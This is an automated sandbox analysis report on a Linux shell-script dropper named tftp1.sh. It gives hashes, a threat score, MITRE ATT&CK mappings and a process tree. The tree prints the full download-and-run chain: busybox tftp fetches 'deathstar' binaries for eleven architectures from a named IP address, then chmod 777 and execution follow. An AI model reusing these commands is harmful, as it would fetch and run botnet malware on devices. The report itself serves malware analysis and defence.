53f968f2ce03864df83613b090d716767ddeb20562438de9b5687e8152397d20

Analysis

max time kernel
142s
max time network
142s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/10/2026, 08:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
tftp1.sh
Size 1KB
Sample261027-j45sqada74
SHA256 53f968f2ce03864df83613b090d716767ddeb20562438de9b5687e8152397d20
MD5 f8ea1b48beb0055a366bbeeed9fc1544
SHA1 37e52e1b9cb4a99eef0ddff688ce77acfed52218
SHA512 7467f70c4d174abd3e21dc263f265a898ef068a3c68859877577efb533fda80a059a57f9ed7c9258aeed2d71c44c677c27594e92c6c2137848cc1393e5b2d02a
TLSH
T19A41987037DB20B78B920B0DFB01D76BAA57A8FD0A5E4D048D6DB1F0F1D9548A322364
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
749	chmod
769	chmod
774	chmod
781	chmod
791	chmod
797	chmod
803	chmod
808	chmod
756	chmod
764	chmod
786	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/deathstarx86_64	750	tftp1.sh
/tmp/deathstarmips	757	tftp1.sh
/tmp/deathstarmipsel	765	tftp1.sh
/tmp/deathstararmv4l	770	tftp1.sh
/tmp/deathstarpowerpc	775	tftp1.sh
/tmp/deathstararmv7l	782	tftp1.sh
/tmp/deathstararmv5l	787	tftp1.sh
/tmp/deathstararmv6l	792	tftp1.sh
/tmp/deathstarm68k	798	tftp1.sh
/tmp/deathstarsh4	804	tftp1.sh
/tmp/deathstarsparc	809	tftp1.sh

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
751	busybox
757	deathstarmips
758	busybox
765	deathstarmipsel

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/deathstarmips	busybox
File opened for modification	/tmp/deathstarmipsel	busybox
File opened for modification	/tmp/deathstarpowerpc	busybox
File opened for modification	/tmp/deathstararmv7l	busybox
File opened for modification	/tmp/deathstararmv5l	busybox
File opened for modification	/tmp/deathstararmv6l	busybox
File opened for modification	/tmp/deathstarsh4	busybox
File opened for modification	/tmp/deathstarsparc	busybox
File opened for modification	/tmp/deathstarx86_64	busybox
File opened for modification	/tmp/deathstararmv4l	busybox
File opened for modification	/tmp/deathstarm68k	busybox

/tmp/tftp1.sh
/tmp/tftp1.sh
1⤵
- Executes dropped EXE
PID:645
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstarx86_64 -l deathstarx86_64
  2⤵
  - Writes file to tmp directory
  PID:647
- /bin/chmod
  chmod 777 deathstarx86_64
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/deathstarx86_64
  ./deathstarx86_64
  2⤵
  PID:750
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstarmips -l deathstarmips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:751
- /bin/chmod
  chmod 777 deathstarmips
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/deathstarmips
  ./deathstarmips
  2⤵
  - System Network Configuration Discovery
  PID:757
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstarmipsel -l deathstarmipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 deathstarmipsel
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/deathstarmipsel
  ./deathstarmipsel
  2⤵
  - System Network Configuration Discovery
  PID:765
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstararmv4l -l deathstararmv4l
  2⤵
  - Writes file to tmp directory
  PID:766
- /bin/chmod
  chmod 777 deathstararmv4l
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/deathstararmv4l
  ./deathstararmv4l
  2⤵
  PID:770
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstarpowerpc -l deathstarpowerpc
  2⤵
  - Writes file to tmp directory
  PID:771
- /bin/chmod
  chmod 777 deathstarpowerpc
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/deathstarpowerpc
  ./deathstarpowerpc
  2⤵
  PID:775
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstararmv7l -l deathstararmv7l
  2⤵
  - Writes file to tmp directory
  PID:776
- /bin/chmod
  chmod 777 deathstararmv7l
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/deathstararmv7l
  ./deathstararmv7l
  2⤵
  PID:782
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstararmv5l -l deathstararmv5l
  2⤵
  - Writes file to tmp directory
  PID:783
- /bin/chmod
  chmod 777 deathstararmv5l
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/deathstararmv5l
  ./deathstararmv5l
  2⤵
  PID:787
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstararmv6l -l deathstararmv6l
  2⤵
  - Writes file to tmp directory
  PID:788
- /bin/chmod
  chmod 777 deathstararmv6l
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/deathstararmv6l
  ./deathstararmv6l
  2⤵
  PID:792
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstarm68k -l deathstarm68k
  2⤵
  - Writes file to tmp directory
  PID:793
- /bin/chmod
  chmod 777 deathstarm68k
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/deathstarm68k
  ./deathstarm68k
  2⤵
  PID:798
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstarsh4 -l deathstarsh4
  2⤵
  - Writes file to tmp directory
  PID:799
- /bin/chmod
  chmod 777 deathstarsh4
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/deathstarsh4
  ./deathstarsh4
  2⤵
  PID:804
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstarsparc -l deathstarsparc
  2⤵
  - Writes file to tmp directory
  PID:805
- /bin/chmod
  chmod 777 deathstarsparc
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/deathstarsparc
  ./deathstarsparc
  2⤵
  PID:809

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads